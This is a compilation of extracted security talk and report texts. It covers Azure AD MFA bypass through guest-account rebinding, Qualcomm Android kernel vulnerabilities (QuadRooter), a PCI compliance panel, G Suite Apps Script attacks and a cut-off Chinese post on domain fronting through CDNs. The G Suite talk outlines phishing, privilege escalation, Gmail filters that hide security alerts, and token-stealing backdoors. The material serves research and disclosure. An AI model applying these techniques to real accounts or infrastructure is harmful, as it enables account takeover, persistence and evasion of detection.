• Conclusion: MFA information is cached somehow in our session,
and keeps track of which tenants we performed MFA in.
Observations
#BHUSA @BlackHatEvents
Information Classification: General
Introducing account rebinding
Tenant A
Resource tenant
Tenant B
Home tenant
(attacker controlled)
Victim account
Victim MFA methods
Attacker account
MFA methods
#BHUSA @BlackHatEvents
Information Classification: General
Invite attacker as guest
Tenant A
Resource tenant
Tenant B
Home tenant
(attacker controlled)
Victim account
Victim MFA methods
Attacker account
MFA methods
Attacker guest account
Attacker MFA methods
Linked
#BHUSA @BlackHatEvents
Information Classification: General
Delete guest account
Tenant A
Resource tenant
Tenant B
Home tenant
(attacker controlled)
Victim account
Victim MFA methods
Attacker account
MFA methods
Attacker guest account
Attacker MFA methods
#BHUSA @BlackHatEvents
Information Classification: General
Rebind victim account to attacker identity
Tenant A
Resource tenant
Tenant B
Home tenant
(attacker controlled)
Victim account
Victim MFA methods
Attacker account
MFA methods
Attacker guest account
Attacker MFA methods
Linked
#BHUSA @BlackHatEvents
Information Classification: General
Video demo
#BHUSA @BlackHatEvents
Information Classification: General
Add own MFA method to make bypass
permanent
#BHUSA @BlackHatEvents
Information Classification: General
• MFA information seems cached in the session based on home
tenant identity + target tenant combination.
• No link to the actual account, makes it possible to:
• Invite a guest account on attacker's email address.
• Register MFA information (will be cached in session)
• Delete the guest account by leaving the organization.
• Link the victim account to the attackers account (either B2B link or via
Email OTP).
• Attacker can now log in as victim, including MFA claim, and add their
own MFA app.
Attack summary
#BHUSA @BlackHatEvents
Information Classification: General
• With limited account access (such as access token):
• Convert into full persistent access, including MFA
• With only access to the account password:
• Bypass MFA and Conditional Access if MFA is not required for all
apps/locations.
• With a user administrator:
• Elevate privileges to Global Admin, including MFA bypass.
• Bypass MFA for any other account in the tenant.
Attack scenarios and impact
#BHUSA @BlackHatEvents
Information Classification: General
• TBD
Fix status
#BHUSA @BlackHatEvents
Information Classification: General
• Remove guest accounts with unredeemed invites regularly.
• Lock down guest invite rights and guest access settings in Azure
AD.
• Hunt in your Audit logs for possible abuse of guest accounts.
• Ask yourself how you could know which account a guest
account is actually linked to with the information visible in Azure.
• Enforce MFA across all apps instead of selectively.
Actions for defenders
Hunting query at https://gist.github.com/dirkjanm/
#BHUSA @BlackHatEvents
Backdooring and hijacking Azure AD accounts by abusing
external identities
Dirk-jan Mollema / @_dirkjan
Questions: [email protected] | pdf |
©2016 Check Point Softw are Technologies Ltd. All rights reserved
| P. 1
INTRODUCTION
The cloak-and-dagger of cybercrime makes for entertaining theater.
That’s especially true for sensational breaches often caused by malware
or other sophisticated attacks. Behind the drama though are some
inherent vulnerabilities making these attacks possible.
A myriad of device models, operating system versions, and unique
software modifications makes handling Android vulnerabilities a
challenge. The earlier these vulnerabilities are born in the supply chain,
the more difficult they are to fix.
Fixes require mind-bending coordination between suppliers,
manufacturers, carriers and users before patches make it from the
drawing board to installation. The fragmented world of Android leaves
many users exposed to risk, even with out-of-the-box devices.
In this report, the research team details four newly-discovered
vulnerabilities affecting over 900 million Android smartphones and
tablets. If exploited, each of these can give attackers complete control of
devices and access to sensitive personal and enterprise data on them.
QUADROOTER
QuadRooter is a set of four vulnerabilities affecting Android devices built
on Qualcomm® chipsets. The world’s leading designer of LTE chipsets,
Qualcomm owns a 65% share of the LTE modem baseband market.1
1 ABI Research: https://www.abiresearch.com/press/abi-research-reports-qualcomm-maintains-clear-lead/
QUADROOTER
NEW VULNERABILITIES AFFECTING OVER 900 MILLION ANDROID DEVICES
by the Check Point Research Team
©2016 Check Point Software Technologies Ltd. All rights reserved. | 2
WHAT IS ROOTING?
Rooting enables administrative
control of a device and allows apps to
run privileged commands not usually
available on factory-configured
devices. An attacker can use these
commands to perform operations like
changing or removing system-level
files, deleting or adding apps, as well
as accessing hardware on the device,
including the touchscreen, camera,
microphone, and other sensors.
If any one of the four vulnerabilities is exploited, an attacker can
trigger privilege escalations and gain root access to a device.
An attacker can exploit these vulnerabilities
using a malicious app. These apps require no
special permissions to take advantage of these
vulnerabilities, alleviating any suspicion users
may have when installing.
The vulnerabilities are found in Qualcomm’s
software drivers that come with its chipsets.
The drivers, controlling communication
between chipset components, become
incorporated into Android builds
manufacturers develop for their devices.
Pre-installed on devices at the point of
manufacturing, these vulnerable drivers can
only be fixed by installing a patch from the
distributor or carrier. Distributors and carriers
can only issue patches after receiving fixed
driver packs from Qualcomm.
The research team provided Qualcomm with information about
the vulnerabilities in April 2016. The team then followed the
industry-standard disclosure policy (CERT/CC policy) of allowing
90 days for patches to be produced before disclosing these
vulnerabilities to the public.
Qualcomm reviewed these vulnerabilities, classified each as high
risk, and confirmed that it released patches to original equipment
manufacturers (OEMs).
This affects an estimated 900 million Android devices
manufactured by OEMs like Samsung, HTC, Motorola, LG and
more. In fact, some of the latest and most popular Android
devices found on the market today use the vulnerable Qualcomm
chipsets including:
©2016 Check Point Software Technologies Ltd. All rights reserved. | 3
BlackBerry Priv
Blackphone 1 and 2
Google Nexus 5X, 6 and 6P
HTC One M9 and HTC 10
LG G4, G5, and V10
New Moto X by Motorola
OnePlus One, 2 and 3
Samsung Galaxy S7 and S7 Edge
Sony Xperia Z Ultra
Unique vulnerabilities affect four modules. Each vulnerability
impacts a device’s entire Android system:
IPC Router (inter-process communication)
The ipc_router module provides inter-process communication
for various Qualcomm components, user mode processes, and
hardware drivers.
Ashmem (Android kernel anonymous shared memory feature)
Android’s propriety memory allocation subsystem, Ashmem
enables processes to share memory buffers efficiently. Android
devices using Qualcomm chipsets use a modified ashmem
system, providing easy access to the subsystem API from the
GPU drivers.
kgsl (kernel graphics support layer) &
kgsl_sync (kernel graphics support layer sync)
The Qualcomm GPU component kgsl is a kernel driver that
renders graphics by communicating with user-mode binaries.
While this driver includes many modules, kgsl_sync is the one
responsible for synchronization between the CPU and apps.
©2016 Check Point Software Technologies Ltd. All rights reserved. | 4
FRAGMENTATION
VISUALIZED
A number of factors
contribute to Android
fragmentation including
different Android builds
for different device
makers, models, carriers
and distributors.
WHY DOES THIS KEEP HAPPENING? THE SUPPLY CHAIN.
Suppliers, like chipset makers, provide the hardware and software modules needed to manufacture
smartphones and tables. Original equipment manufacturers (OEMs) combine these software modules,
Android builds from Google, and their own customizations to create a unique Android build for a
particular device. Distributors resell the devices, often including their own customizations and apps –
creating yet another unique Android build. When patches are required, they must flow through this supply
chain before making it onto an end user’s device. That process often takes weeks or even months.
In-market Android devices as of August 2015. (Source: OpenSignal)
©2016 Check Point Software Technologies Ltd. All rights reserved. | 5
CONSUMERS MAY BE LEFT UNPROTECTED
FOR LONG PERIODS OF TIME OR EVEN
INDEFINITELY, BY ANY DELAYS IN PATCHING
VULNERABILITIES ONCE THEY ARE DISCOVERED.
– Federal Communications Commission
RECOMMENDATIONS
Vulnerabilities like QuadRooter bring the unique challenge of securing
Android devices into focus:
Fragmentation puts the responsibility of keeping Android devices and
their data safe into the hands of a complex supply chain.
Making patches and security updates available is resource and time-
intensive – leaving users without protection while these are coded,
tested, accepted and distributed.
In-market devices that cannot support the latest versions of Android
may not receive important security updates at all, leaving them
exposed to new vulnerabilities.
End-users remain poorly informed by retailers and employers on the
risks of using mobile devices and networks, including the risks of
rooting, downloading apps from third-party sources, and using public
Wi-Fi® networks.
These gaps not only put at risk the user’s personal information, but
also any sensitive enterprise information that may be on their device.
Stake holders throughout the Android supply chain continue to explore
comprehensive solutions that address these concerns. They are no doubt
motivated by the United States Federal Communications Commission2
2 Federal Communications Commission: https://www.fcc.gov/document/fcc-launches-inquiry-mobile-device-
security-updates
“
“
©2016 Check Point Software Technologies Ltd. All rights reserved. | 6
and Federal Trade Commission3, which recently requested explanations
from carriers and manufacturers for why the Android security update
process is so badly broken.
Unfortunately, reasonable solutions require coordination and
standardization across the industry. Until then, Check Point continues to
recommend these best practices to keep your Android devices safe:
Download and install the latest Android updates as soon as they
become available. These include important security updates that help
keep your device and data protected.
Understand the risks of rooting your device – either intentionally or
as a result of an attack.
Avoid side-loading Android apps (.APK files) or downloading apps
from third-party sources. Instead, practice good app hygiene by
downloading apps only from Google Play.
Carefully read permission requests when installing apps. Be wary of
apps that ask for unusual or unnecessary permissions or that use
large amounts of data or battery life.
Use known, trusted Wi-Fi networks. If traveling, use only networks
you can verify are provided by a trustworthy source.
Consider mobile security solutions that detect suspicious behavior on
a device, including malware hiding in installed apps.
3 Federal Trade Commission: https://www.ftc.gov/news-events/press-releases/2016/05/ftc-study-mobile-
device-industrys-security-update-practices
©2016 Check Point Software Technologies Ltd. All rights reserved. | 7
QUADROOTER TECHNICAL DETAILS
CVE-2016-2059:
Linux IPC router binding any port as a control port
A kernel module introduced by Qualcomm, called ipc_router,
contains the vulnerability. This module provides inter-process
communication capabilities for various Qualcomm components,
user mode processes, and hardware drivers.
The module opens a unique socket (address family AF_MSM_IPC,
27) that adds propriety features to the normal IPC functionality
such as:
Assigning a predefined identification (ID) to each hardware
module, allowing it to be addressed efficiently by any
other component.
Components can whitelist or blacklist other IDs, controlling
and preventing communication from unprivileged
endpoints.
Anyone can monitor the creation or destruction of new
AF_MSM_IPC sockets.
A new AF_MSM_IPC socket always starts by default as a regular
endpoint (no whitelist rules, and doesn’t receive any information
when a new socket is created or destroyed). By issuing an IOCTL
(IPC_ROUTER_IOCTL_BIND_CONTROL_PORT) on a regular socket
(CLIENT_PORT), attackers can convert it to a monitoring socket
(CONTROL_PORT).
The vulnerability is located in the conversion function (figure 1),
which uses a flawed locking logic to corrupt the monitoring
sockets’ list. Corrupting the sockets’ list is possible by deleting
port_ptr (an extension struct to the original struct socket) from its
list, using list_del function and while the local_ports_lock_lhc2
lock is used.
©2016 Check Point Software Technologies Ltd. All rights reserved. | 8
Figure 1: Conversion of a “CLIENT_PORT” socket to a “CONTROL_PORT” socket
Calling this function on a monitoring socket removes the
monitoring socket from its list while locking the regular sockets’
list, which has nothing to do with the monitoring sockets’ list.
Attackers can use this vulnerability to corrupt control_ports list
causing it to point to a free data, which they then control with
heap spraying. Assuming an attacker can occupy the newly freed
memory and control it, the kernel treats the sprayed memory like
a regular msm_ipc_port object.
As discussed, control_ports is a list of the monitoring sockets
repeated each time notifications send for a socket creation or
destruction. A function called post_control_ports notifies every
item in the control_ports list. It goes over the list and calls the
post_pkt_to_port function for each item. Figure 2 contains the
functions source code, highlighting the variable representing a
fake object.
©2016 Check Point Software Technologies Ltd. All rights reserved. | 9
Figure 2: Function is called once the control_ports list is iterated, with
the fake object marked.
Faking a port_ptr allows for multiple methods of exploitation, as
the object contains multiple function call primitives, information
disclosure, and other helpful primitives.
Attackers can take advantage of the lack of kASLR on Android
devices and use the wake_up function. This function is a macro
which eventually leads to a function called __wake_up_common
(figure 3).
©2016 Check Point Software Technologies Ltd. All rights reserved. | 10
Figure 3: the __wake_up_common function.
By using __wake_up_common, an attacker can completely control
the content (but not the address) of the q argument.
Controlling q allows attackers to manipulate control q->task_list,
enabling the attacker to call any kernel-function and control most
of the first argument4. Since it is an iterated list, the attacker can
call as many functions as they wish.
The vulnerability’s exploit goal is to gain root privileges while
disabling SELinux. The discussed primitive disables SELinux (since
it is possible to just call enforce_setup, passing a “0” string as the
first parameter), however, it is not enough to call to the
commit_creds function to gain root privileges.
To call commit_creds successfully, the attacker must ensure it
doesn’t defer a user space memory address in another thread,
resulting in a kernel crash. To do so, it can pass the kernel’s
4 An attacker can only control most of the argument because the pointers to the function as well as the
pointer to next are contained in curr.
©2016 Check Point Software Technologies Ltd. All rights reserved. | 11
init_cred struct (shown in figure 4) as a first argument. This is
possible due to the cred struct being statically allocated instead of
allocated on the heap.
However, since wake_up_common does not allow control of first
argument memory address, another function that can must be
found. Usb_read_done_work_fn is an excellent candidate.
.
Figure 4: The init_cred struct, representing the permission that
the init process receives.
©2016 Check Point Software Technologies Ltd. All rights reserved. | 12
Figure 5: usb_read_done_work_fn function is used as a gadget
to improve function-call primitive.
Since the first argument is controllable, so are the ch pointer and
also the req pointer, (derived from the ch pointer). The last line of
code in figure 5 is exactly what the attacker needs –a call to an
arbitrary function while controlling the address of the parameters
(req->buf is a pointer).
By then chaining the function calls, the attacker can create a q-
>task_list, granting root privileges and disabling SELinux.
The first function called in the chain is qdisc_list_del,
which allows the attacker to close the control_ports list,
preventing a fake object from being used multiple times.
©2016 Check Point Software Technologies Ltd. All rights reserved. | 13
The second function of the chain, enforcing_setup, sets up
a pointer to a string that contains ‘0’. This value sets the
SELinux status to “permissive”.
The last chained function is commit_creds, which receives
the function init_cred as the first argument. The function
sets the UID to 0, elevating the maximum capabilities
available on the system.
CVE-2016-5340
Ashmem vulnerability
Ashmem is Android’s propriety memory allocation subsystem that
enables processes to efficiently share memory buffers. Devices
using Qualcomm chipsets use a modified ashmem system that
provides easy access to the subsystem API from the GPU drivers.
The driver provides a convenient way to access an ashmem file’s
struct file from a file descriptor. The driver supplies two new
functions in the ashmem module to allow this: get_ashmem_file
and put_ashmem_file.
The function get_ashmem_file (figure 6) gets a file descriptor and
checks whether the file descriptor points to an ashmem file. If the
file descriptor points to it, the function extracts its private_data
struct and returns it back to the caller.
©2016 Check Point Software Technologies Ltd. All rights reserved. | 14
Figure 6: get_ashmem_file function added by Qualcomm to ease access
to the ashmem API.
The problem is in the is_ashmem_file function, which
inappropriately checks the file type (figure 7).
Figure 7: is_ashmem_file function. Obscure check for the file type of the given fd.
©2016 Check Point Software Technologies Ltd. All rights reserved. | 15
Attackers can use a deprecated feature of Android, called Obb5 to
create a file named ashmem on top of a file system. With this
feature, an attacker can mount their own file system, creating a
file in their root directory called “ashmem.”
By sending the fd of this file to the get_ashmem_file function, an
attacker can trick the system to think that the file they created is
actually an ashmem file, while in reality, it can be any file.
CVE-2016-2503, CVE-2106-2504
Use after free due to race conditions in KGSL
CVE-2016-2503
One of Qualcomm’s GPU components is called “kgsl” (Kernel
Graphics Support Layer). This kernel driver communicates with
userland binaries to render graphics. While there are many
modules in this driver, kgsl_sync is responsible for synchronization
between the CPU and the apps.
The vulnerability lies in the ‘destroy’ function. Creating and
destroying this object can be done by IOCTLing the driver
(/dev/kgsl-3d0) and sending the following IOCTLs:
IOCTL_KGSL_SYNCSOURCE_CREATE
IOCTL_KGSL_SYNCSOURCE_DESTROY
5 More information can be found at https://developer.android.com/google/play/expansion-files.html
©2016 Check Point Software Technologies Ltd. All rights reserved. | 16
Figure 8: kgsl_ioctl_syncsource_destroy function. Receives an ID of a
syncsource object, checks for its preexistence and then destroys it.
The function is prone to a race condition flaw, where two parallel
threads call the function simultaneously. This could make the
kernel force a context switch in one thread. This happens right
after the kgsl_syncsource_get call to the second thread which will
call this function too.
Together, these two threads can pass the kgsl_syncsource_get
before starting the refcount reduction. This drops the refcount of
a syncsource object below 0, exposing itself to a use-after-free
attack.
CVE-2016-2504
Another vulnerability is found in the kernel graphics support layer driver
when a module called kgsl creates an object called kgsl_mem_entry
(representing a GPU memory). Since a user-space process can allocate
and map memory to the GPU, it can both create and destroy a
kgsl_mem_entry.
©2016 Check Point Software Technologies Ltd. All rights reserved. | 17
The kgsl_mem_entry is created using a function called
kgsl_mem_entry_create. The function allocates memory for the
kgsl_mem_entry objects and upon success, sets the refcount to 1
using the kref mechanism.
The allocated object is then passed to the function
kgsl_mem_entry_attach_process (figure 9), binding it to a
particular process. Process binding is done by either referencing
kgsl_mem_entry using the “idr” mechanism, or through the GPU
mapping mechanism (kgsl_mem_entry_track_gpuaddr).
Once the kernel calls the idr_alloc function with kgsl_mem_entry
as its argument (figure 9), attackers can free this specific id using
another IOCTL (IOCTL_KGSL_GPUMEM_FREE_ID). Since there’s no
access protection enforced, another thread can simply free this
object, invoking an use-after-free flaw.
©2016 Check Point Software Technologies Ltd. All rights reserved. | 18
Figure 9: kgsl_mem_entry_attach_process. Access to UM is granted before
initialization of entry
©2016 Check Point Software Technologies Ltd. All rights reserved. | 19
©2016 Check Point Software Technologies Ltd. All rights reserved.
Learn More About
Check Point Mobile Threat Prevention
Schedule a Demo | pdf |
PCI:
Compromising Controls
and
Compromising Security
PCI? At DefCon?
Compliance is changing the way companies "do
security", and that has an effect on everyone,
hacker, defender, attacker, and innocent
bystander.
One result is that companies fear QSAs more
than 0-days.
Who are we?
• James Arlen, aka Myrcurial
• Anton Chuvakin
• Joshua Corman
• Jack Daniel
• Alex Hutton
• Martin McKeay
• Dave Shackleford
Usual disclaimers
• We do not speak for our employers, clients or
customers. Nor for our spouses, siblings, or
offspring. But my dog will back me up.
• Our opinions are our own, the facts are as we
see them.
• We aren’t lawyers…etc.
• These QSAs are not your QSAs.
PCI. Discuss.
• PCI vs. Security. Is it really “vs.” security?
• PCI hampers the advanced. Right? Really?
• At least it is timely. And the three years cycle
insures that.
• PCI has an impact on ALL of us, even if not
under the heel of its hobnail boot. Or does it?
Obligatory Bell Curve Slide
More accurate curves
With pictures, even.
Zombie resistant housing?
PCI and metrics.
• PCI could provide some very useful data about
security postures, exposures, breaches, and all
kinds of cools stuff.
• Could.
• Does it?
• Should it?
Moving forward
• How do we move forward?
• Who do we have to convince?
• What moves them?
Previous conversations
CSO Online Debate Part 1 of 2:
http://www.csoonline.com/podcast/513988/The_Great_PCI_Security_Debate_of_2010_Part_1
Network Security Podcast Part 2 of 2:
http://netsecpodcast.com/?p=391
Southern Fried Security Podcast – Special Episode:
http://www.southernfriedsecurity.com/episodes-0-9/special-episode---interview-with-josh-
corman
ShmooCon 2010
http://www.shmoocon.org/2010/videos/PCI-Panel.flv
BSidesSF Panel Video
http://www.ustream.tv/recorded/5164678 (pt 1)
http://www.ustream.tv/recorded/5165234 (pt 2)
Contact us
• James Arlen @myrcurial
• Anton Chuvakin @anton_chuvakin
• Joshua Corman @joshcorman
• Jack Daniel @jack_daniel
• Alex Hutton @alexhutton
• Martin McKeay @mckeay
• Dave Shackleford @daveshackleford
Thank you
Please continue the conversation, learn, engage,
act.
Compliance, and specifically PCI, is poised to
steal security from those of us who care about
it. | pdf |
Hacking G Suite: The Power
of Dark Apps Script Magic
By @IAmMandatory (Matthew Bryant)
Who am I?
● mandatory (Matthew Bryant)
● Leading the Red Team Effort at Snapchat
● @IAmMandatory
● Hacking write ups and research at
https://thehackerblog.com
Context & Background
What exactly are we dealing with here?
Google Workspace (AKA G Suite)
● Suite of Google services for employees to work together
online (Gmail, Docs/Sheets/Slides, Drive, GCP etc).
● Businesses can manage employees and set up powerful
security and ACL policies.
● Many of these services are used individually by free
Google users as well.
● >2 billion users!
Apps Script: Automate Google Services With JavaScript
● Serverless JavaScript apps which are hosted by Google
and highly optimized for automating Google services.
● Seamless integration with Google’s app registration and
OAuth permission requesting system.
● Variety of triggers to start scripts: web request, document
open, scheduled, etc.
Example of the Apps Script Editor
Google OAuth 2.0
● Allows third party apps to request access to resources
owned by Google users.
● Permissions to resources are known as “scopes” and
there are over 250 of them!
● Users are presented with a prompt describing roughly
what access they’re granting which they can allow/reject.
● On approval you get tokens which you can use for the API(s)
Example OAuth Permission Prompts
Tying It All Together: Thinking Beyond the Machines
● When attacking G Suite, Apps Script is an attractive option
for phishing as well as backdooring accounts.
● An Apps Script implant is outside the eyes of antivirus,
endpoint detection tooling, and other on-device
monitoring.
● Even if your victim wipes their laptop, your implant
remains!
Tough Perimeters Require Clever Attacks
● We can utilize Apps Script to pierce even the most
hardened environments.
● Companies with mandatory hardware U2F on logins,
hardened Chromebooks, hardware attestation, third-party
OAuth scope blocking, etc.
● To get around these measures we’ll have to be a bit more
clever than your average attacker...
Historical Precedent
“There are years where we fuck around;
and there are hours where we find out”
Image from @zeynep Tweet: https://bit.ly/3vDvy1z
Image from Ars Technica article: https://bit.ly/2SMGqgb
A Modern-Day Super Worm
SOME USERS AUTHORIZE ACCESS
A percentage of users who receive the
phishing email fall for it. They grant the
worm access to their Gmail and
contacts.
SPREAD
Worm sends out OAuth phishing email using
victim's Gmail to their 1,000 most recently
modified contacts.
Google Doc Worm
Propagation Cycle
USERS RECEIVE PHISHING EMAIL
More people receive the phishing email
requesting full access to their Gmail and
Contacts list.
The Impact
● The worm spread like wildfire and affected >1 million
Google users (personal and enterprise alike).
● Google rapidly responded to the incident and was able to
halt the spread and kill the apps in a few hours.
● Post-mortem analysis indicated the coding was amateur
and only collected email addresses.
●
Everything considered, this attack could’ve been much worse.
The Attack Components
●
Multiple rotating apps and domains to prevent easy-blocking by
Google
●
IDN homograph attack in app name
●
Social engineering & clever phishing scheme
●
Self-propagation via old-school email spam
Post-Worm Changes & Existing Mitigations
●
~2 months later Google introduced G Suite OAuth scope and
client ID allowlisting.
●
Google later introduced “Sensitive” and “Restricted” scopes
which require heavy review.
●
Introduction of the “Unverified App” warning prompt for smaller
apps requiring the aforementioned scopes.
●
Crackdown on all misleading OAuth apps.
Food for thought:
This attack utilized zero
exploits or bugs, yet the
impact was substantial.
Breaking New Ground
Bypassing the new restrictions to pierce the G Suite perimeter
The “Unverified App” prompt
What is a “sensitive” or “restricted” scope?
●
Any API with potential to access private data: Gmail, BigQuery,
GCP, Groups, Drive, Calendar, etc. (Over ~120 total APIs)
●
For apps with <100 users, “Unverified App” prompt
●
For apps with >100 users you need to undergo an intense
manual review process.
●
However, there are some exceptions...
The application uses a “sensitive” OAuth scope and…
For Apps Script, what causes the “Unverified App” prompt?
If the publisher of the app
is in the same G Suite as
the user running it, then
there will be no
“Unverified App” prompt.
Getting Clever With Apps Script
●
Apps Script apps can be a standalone project or they can be
bound to Google Docs/Sheets/Slides/Forms.
●
This allows for manipulation of the document, customization of
the UI, etc.
●
Apps Script triggers will run for all users who view the doc with
Editor permissions (they still have to accept OAuth prompt for
scopes).
Grant User “Editor” Attempt:
Make victim “Editor”
on Doc and send link
Victim activates trigger
and spawns prompt
Attacker
Victim
(In G Suite Org)
FAILED
/d/1Jl...xA/edit
/d/1Jl...xA/copy
Example dialogue shown from copy URL
(Copied sheet is opened immediately upon clicking “Make a copy”)
Send copy URL to victim:
Send victim the copy
link to document
Victim activates trigger
and spawns prompt
Attacker
Victim
(In G Suite Org)
SUCCESS
Not only does the victim become the owner of the Google Sheet, they also
become the publisher of the attached App Script.
Problem: The Apps Script “Triggers” are not copied.
How will the victim trigger our payload?
Example macro in Google Sheets
Assign a macro to execute upon image click in Sheets
BYPASSED
Another Tip for Defeating “Third-Party App”/Unverified App Restrictions
●
A script “container” has the same Owner as the “container”.
●
This means any Doc/Sheet/Slide which has an Owner inside a GSuite domain
(e.g. company.com) is a bypass waiting to happen.
●
If you have edit access to any Doc/Sheet/Slide made by someone in a GSuite
domain, you can create an Apps Script app and bypass the “third-party app”
restrictions!
Post-Compromise Pivoting
& Privilege Escalation
Moving right along
Pivoting to Google Cloud (GCP)
Accessing Google Cloud Through Apps Script
●
If your Apps Script service has the
https://www.googleapis.com/auth/cloud-platform
scope, you can access any GCP API as the user who granted
your app access.
●
You can then use the access token from
ScriptApp.getOAuthToken() in Authorization:
Bearer {{TOKEN}}.
Some unknown project
number?
Some *mostly* undocumented fun...
●
All Apps Scripts upon creation are allocated a hidden Google
Project attached to them (yes really).
●
This makes requests with your access token implicitly bound to
this project, which has no APIs enabled.
●
To get around this, you can specify the
x-goog-user-project header followed by the project name
you want to query.
ID of the GCP Project
Google Cloud Shell API
●
Google Cloud Shell API allows you to add your public key, start,
and connect to a virtual Linux instance via SSH.
●
Using the API you can specify an access/ID token to authorize the
pre-installed gcloud CLI for.
Mining Google Drive for Paydirt
Sharing in Google Drive
Preset Defaults & Hardened Settings
●
By default sharing with the entire org is one-click away with the
default being shared only with those explicitly added to the doc.
This is the tightest default control available for link sharing.
●
Once a G Suite org user views a document, it is searchable by
them in the future.
●
The document URLs are well outside the range of brute forcing.
Real world usage: what actually happens?
●
Any important file, by definition, is shared with other users.
●
Adding individual users one-by-one to a doc is tedious (though
Google Groups can be used).
●
In practice, a large portion of the docs are just shared by link
and only a tiny portion are searchable by the entire org.
✓ Easy
✕
Painful
How can we get access to these docs?
●
Search internally-shared systems: chat, forums, Q&A sites,
ticket management queues, bug trackers, etc.
●
The same way we do on the web: spidering.
An Apps Script Spider
●
Takes a list of seed Drive/Doc/Sheet/Slide links as starting
points and recursively crawls using Apps Script until it’s
exhausted all paths.
●
Along the way collects metadata for sharing, contents, creation,
authors, etc for review.
●
https://github.com/mandatoryprogrammer/PaperChaser
Dumping Employee Directory with the People
API
Pull the Entire Organization’s Directory via People API
●
Requires the https://www.googleapis.com/auth/ directory.readonly scope
●
Contains everything from names, emails, titles, phone numbers,
birthdays, addresses, calendar URL, etc.
●
This is very useful for further spear fishing, or for re-entry
planning upon being detected and revoked.
Privilege Escalation
The fastest way you’ll move up in a companyTM
Exploiting Apps Script Attached to a Google
Doc/Sheet/Slide
Revisiting Apps Script Bound to Docs/Sheets/Slides
●
Recall we talked about Apps Script as being able to be “bound”
to Docs/Sheets/Slides. The file a script is bound to is called the
“container”.
●
If that’s the case, does the Apps Script and the file it’s attached
to have separate sharing permissions?
(https://developers.google.com/apps-script/guides/bound)
Another Interesting Question
●
Recall that “Edit” access is required to run the Apps Script.
●
Whoever has “Edit” access to a given Doc/Sheet/Slide will also
be able to Edit the Apps Script attached to it.
●
What happens when you have a bunch of people all sharing the
same Doc/Sheet/Slide which has Apps Script?
EDITOR
EDITOR
EDITOR
Situation: Many users have editor on a Doc With Apps
Script. They have all granted the Apps Script OAuth
scopes on their own accounts.
A malicious user has editor on the Doc as well.
The malicious user edits the Apps Script to contain a
malicious script.
Upon each user triggering the already-authorized Apps
Script, the malicious code runs as them.
Let’s Do One Better
●
This of course requires we wait for whatever triggers are in
place to be re-fired.
○
In the case of background time-based triggers, that’s fine
we can wait.
●
We can force a re-trigger by publishing the bound script as a
web app. When this URL is visited by one of the users who
authorized the script it will execute as them.
●
This works even if triggered via <img>, etc!
Lateral Movement via Enumerating and
Joining Open Google Groups
Google Groups, a PrivEsc Factory
●
Google Groups are often used
for ACL in GCP/IAM.
●
By default, Google Groups are
openly joinable by everyone in
an org.
What can be gated by Google Groups?
Google Group API Access via Apps Script
●
Modifying Google Groups via Apps Script is not as easy as it
sounds.
●
The Google Groups Settings/Directory API is restricted to
admins only.
●
However, the “Cloud Identity API” is available to all users
which allows some access to Google Groups via API.
What can you do via API for Google Groups?
●
List all Google Groups in a given organization.
●
List Google Group’s members and their roles.
●
Create, update, delete, manage members of your own groups.
●
NOT able to join an open Google Group via the API.
Better Spear Phishing With Google Groups
Google Group Trick: With Manual Access
●
Obtain any untaken email @company.com using Google
Groups (external emails to Google Groups must be enabled for
the org).
●
Add and verify the email as an alias in Gmail and you can now
send and receive mail at the address.
Google Group Trick: With Manual Access
●
You’ve now upgraded your spear-phishing game 200%.
Bonus Trick
●
Bonus: If an alias is taken, you can add dots to it and receive
emails at that address. This is (confusingly) the opposite
behavior of regular Gmail which treats dots as irrelevant.
Backdoors, Stealth, & Persistence
Why not stick around?
Gmail Trickery
Gmail Tricks: With API Access
●
Create a filter to hide security notifications from Google:
from:([email protected]) “Security Alert”
●
Filter to hide password reset emails to be exfiltrated by Apps
Script implant.
●
Sadly creation of Delegates and Forwarding Addresses are
intentionally restricted to service accounts with delegated
domain-wide authority.
Gmail Tricks: With Manual Access
●
Create forwarding address and create a filter to send matching
emails to this address (or forward all mail).
Setting a More Deceptive App Name
Homoglyph Attacks: Post Google Doc Worm
●
After the Google Doc worm Google upgraded its
anti-homoglyph prevention, banning
similar-looking unicode characters,
no-width-spaces, etc.
●
However, the magic of the Right-to-Left Override
(RTL) character (U+202E) still works.
Perpetual Apps Script Execution
Keeping the Good Times Rolling
●
Apps Script has time-based triggers allowing for background
execution on a schedule.
●
Can be run as often as every minute and executes as whatever
user was running the script that created the trigger.
More of a Suggestion Really
●
You can still create time triggers programmatically without
declaring this scope.
●
Time triggers can be created upon other triggers firing, they
only require the user has authorized some scope to start firing.
●
Persist indefinitely, no warnings required.
Backdoor Google Cloud Projects
Google Cloud Functions
●
Create Google Cloud Functions (GCFs) which execute as
privileged service accounts on a project.
Google Cloud Shell Backdoor
●
Add a backdoor to the Google Cloud Shell .bashrc to exfiltrate
access tokens or just connect back (Credit: @89berner)
IAM Policy Backdoor
●
Create IAM policies
allowing your own
projects access back in. | pdf |
0x00 背景
⽬前的攻防场景,攻击成本的节约、周期短,成果要求⾼成了普遍要⾯对的问题,所以
对于基础设施的建设越来越重视,⼀键⾃动化的部署CS、Frp gen等⼯具的开发,节省了以
前略⻓的搭建配置时间,变相增加攻击有效时间;优化的Profile,⽐如修改⼀些默认标记
位、流量伪装、关闭stager等,成熟的OPSEC,⽐如杀软度测试、攻击⼿法检测测试、上传
⽂件清除流程等,减少了免杀难度系数,增加溯源难度的同时,也减少团队协作中执⾏了⼀
些被杀软标记的攻击⽅式导致掉点的可能性。前两天刚好聊到域前置的节点⽩域名收集及验
证,内部以前也简单分享过,遂炒冷饭。
0x01 CDN and 域前置的原理
只要别 ping cdn 节点,然后HTTP Hosts⾥放⼀堆IP⽽不⽤域名就⾏,求求了,放过队
友吧。关于原理,⾮科普不是重点,略
0x02 CDN滥⽤域名抢注
CDN滥⽤域名抢注腾讯云->云产品->CDN与加速->内容分发⽹络->域名管理->域名管理
1> 添加域名涉及到抢注问题,⾮必要不抢注主域名,⽬前已经有⽩名单针对⼀些域名添
加了归属权校验。
2> 项⽬优先使⽤当前⽬标主域名进⾏加速,⼦域名可以为存在的域名⽐如www.xxx.co
m.若抢注失败,则优先考虑正常电脑会产⽣外连的域名,⽐如软件、视频、杀软、搜索引擎
等
3> 域名必须是真实存在,已经在⼯信部进⾏过备案的
域名配置添加
0x03 寻找同⼀CDN下⾯可以进⾏流量转发的域名
如何寻找同⼀CDN下⾯可以进⾏流量转发的域名呢?
这个其实是本次分享重点想讲的东⻄。CDN的原理中,DNS系统会最终将域名的解析权
